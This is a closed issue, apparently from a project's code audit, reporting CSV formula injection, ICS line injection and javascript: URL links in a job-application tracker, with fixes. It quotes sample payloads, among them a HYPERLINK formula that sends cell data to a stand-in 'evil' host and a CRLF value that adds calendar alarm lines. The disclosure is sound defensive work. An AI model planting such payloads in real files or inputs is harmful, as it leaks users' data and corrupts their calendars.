Injection through exports: formulas in the report CSV, lines in the ICS feeds, javascript: URLs through the API #218

Closed
opened 2026-09-15 21:23:21 +00:00 by tiagoagueda · 0 comments
Owner

Text that came from a stranger's page (a captured posting) or from an API client reaches files and links that other programs open. Found in the 2026-09-15 code audit.

1. Report CSV: formulas are not neutralised

  • applications/reports.py:513-530 writes company, role, source and URL as they are.
  • Title and company can come from a captured page; JobPostingData only strips whitespace (plugins/base.py:40-43).
  • The report exists to be handed to an employment office, so it will be opened in a spreadsheet.
  • A posting titled =HYPERLINK("https://evil/?"&A2,"Open"), or a DDE payload, runs when the file is opened.

Fix: prefix ' to any cell starting with =, +, -, @, a tab or a carriage return, in every CSV Postulo writes (the report, the CSV template, any export). Add a test.

2. ICS feeds: contact names can add lines

  • applications/ical.py:46-51 (parameter()) removes only ", and the value lands in the ATTENDEE;CN= line (:119).
  • escape() (:35-43) leaves a lone \r.
  • Contact.name is a plain CharField, and the API passes it straight through.
  • A name containing \r\nBEGIN:VALARM… or an ATTACH: line adds properties in every calendar that subscribes to /applications/…/calendar.ics or /api/v1/interviews/calendar.ics.

Fix: strip control characters in parameter(), turn a lone \r into \n in escape(), and add a test with a CRLF-laden name.

  • api/schemas.py:91-92 (website, careers_url) and :172 (url on ListingIn) are plain strings.
  • api/routers/companies.py sets them with setattr and never calls full_clean.
  • They are rendered as href in company_detail.html, company_row.html, posting_detail.html, application_detail.html and report.html.
  • The listing path and Capture.url are probably the same.
  • Only the production CSP stands in the way, and development and tests run without one (see the security-tests issue (#232)).

Fix: check for http/https in the API schemas and in JobPostingData.url, reusing URLValidator. Consider a safe_href template filter as a second line of defence.

Text that came from a stranger's page (a captured posting) or from an API client reaches files and links that other programs open. Found in the 2026-09-15 code audit. ## 1. Report CSV: formulas are not neutralised - `applications/reports.py:513-530` writes company, role, source and URL as they are. - Title and company can come from a captured page; `JobPostingData` only strips whitespace (`plugins/base.py:40-43`). - The report exists to be handed to an employment office, so it will be opened in a spreadsheet. - A posting titled `=HYPERLINK("https://evil/?"&A2,"Open")`, or a DDE payload, runs when the file is opened. **Fix:** prefix `'` to any cell starting with `=`, `+`, `-`, `@`, a tab or a carriage return, in every CSV Postulo writes (the report, the CSV template, any export). Add a test. ## 2. ICS feeds: contact names can add lines - `applications/ical.py:46-51` (`parameter()`) removes only `"`, and the value lands in the `ATTENDEE;CN=` line (`:119`). - `escape()` (`:35-43`) leaves a lone `\r`. - `Contact.name` is a plain `CharField`, and the API passes it straight through. - A name containing `\r\nBEGIN:VALARM…` or an `ATTACH:` line adds properties in every calendar that subscribes to `/applications/…/calendar.ics` or `/api/v1/interviews/calendar.ics`. **Fix:** strip control characters in `parameter()`, turn a lone `\r` into `\n` in `escape()`, and add a test with a CRLF-laden name. ## 3. The API accepts `javascript:` URLs that templates render as links - `api/schemas.py:91-92` (`website`, `careers_url`) and `:172` (`url` on `ListingIn`) are plain strings. - `api/routers/companies.py` sets them with `setattr` and never calls `full_clean`. - They are rendered as `href` in `company_detail.html`, `company_row.html`, `posting_detail.html`, `application_detail.html` and `report.html`. - The listing path and `Capture.url` are probably the same. - Only the production CSP stands in the way, and development and tests run without one (see the security-tests issue (#232)). **Fix:** check for `http`/`https` in the API schemas and in `JobPostingData.url`, reusing `URLValidator`. Consider a `safe_href` template filter as a second line of defence.
tiagoagueda added this to the 0.3.0 milestone 2026-09-15 21:33:19 +00:00
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
Postulo/postulo#218
No description provided.